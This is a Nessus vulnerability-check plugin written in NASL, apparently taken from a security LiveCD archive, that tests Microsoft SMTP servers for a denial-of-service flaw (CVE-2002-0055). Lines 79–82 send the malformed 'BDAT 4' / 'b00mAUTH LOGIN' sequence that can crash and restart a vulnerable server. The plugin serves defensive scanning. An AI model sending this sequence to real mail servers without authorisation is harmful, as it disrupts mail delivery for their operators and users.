home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / mssmtp_dos.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  98 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(10885);
  10.  script_bugtraq_id(4204);
  11.  script_cve_id("CVE-2002-0055");
  12.  script_version ("$Revision: 1.17 $");
  13.  name["english"] = "MS SMTP DoS";
  14.  
  15.  script_name(english:name["english"]);
  16.  
  17.  desc["english"] = "
  18. It is possible to make the remote SMTP server fail
  19. and restart by sending it malformed input.
  20.  
  21. The service will restart automatically, but all the connections
  22. established at the time of the attack will be dropped.
  23.  
  24. An attacker may use this flaw to make mail delivery to your site
  25. less efficient.
  26.  
  27.  
  28. Solution : http://www.microsoft.com/technet/security/bulletin/MS02-012.mspx
  29. Risk factor : Medium";
  30.  
  31.  
  32.  script_description(english:desc["english"]);
  33.             
  34.  
  35.  summary["english"] = "Checks if the remote SMTP server can be restarted";
  36.  script_summary(english:summary["english"]);
  37.  
  38.  script_category(ACT_ATTACK);
  39.  
  40.  script_copyright(english:"This script is Copyright (C) 2002 Renaud Deraison",
  41.            francais:"Ce script est Copyright (C) 2002 Renaud Deraison");
  42.  
  43.  family["english"] = "SMTP problems";
  44.  family["francais"] = "ProblΦmes SMTP";
  45.  script_family(english:family["english"], francais:family["francais"]);
  46.  script_dependencie("find_service_3digits.nasl");
  47.  script_exclude_keys("SMTP/wrapped");
  48.  script_require_ports("Services/smtp", 25);
  49.  exit(0);
  50. }
  51.  
  52. #
  53. # The script code starts here
  54. #
  55.  
  56.  
  57. include("smtp_func.inc");
  58.  
  59. port = get_kb_item("Services/smtp");
  60. if(!port)port = 25;
  61. if(get_port_state(port))
  62. {
  63.  soc = open_sock_tcp(port);
  64.  if(!soc)exit(0);
  65.  data = smtp_recv_banner(socket:soc); 
  66.  crp = string("HELO example.com\r\n");
  67.  send(socket:soc, data:crp);
  68.  data = recv_line(socket:soc, length:1024);
  69.  if(!(ereg(pattern:"^250 .* Hello .*", string:data)))exit(0);
  70.  
  71.  
  72.  crp = string("MAIL FROM:nessus@nessus.org\r\n");
  73.  
  74.  send(socket:soc, data:crp);
  75.  data = recv_line(socket:soc, length:1024);
  76.  crp = string("RCPT TO: Administrator\r\n");
  77.  send(socket:soc, data:crp);
  78.  data = recv_line(socket:soc, length:1024);
  79.  crp = string("BDAT 4\r\n");
  80.  send(socket:soc, data:crp);
  81.  crp = string("b00mAUTH LOGIN\r\n");
  82.  send(socket:soc, data:crp);
  83.  r = recv_line(socket:soc, length:255);
  84.  if(ereg(pattern:"^250 .*", string:r))
  85.  {
  86.  r = recv_line(socket:soc, length:5);
  87.  
  88.  
  89.  # Patched server say : "503 5.5.2 BDAT Expected"
  90.  # Vulnerable servers say : "334 VXNlcm5hbWU6"
  91.  if(ereg(pattern:"^334 .*",string:r))
  92.          security_warning(port);
  93.  }
  94.   send(socket:soc, data:string("QUIT\r\n"));
  95.   close(soc);
  96.   exit(0);         
  97. }
  98.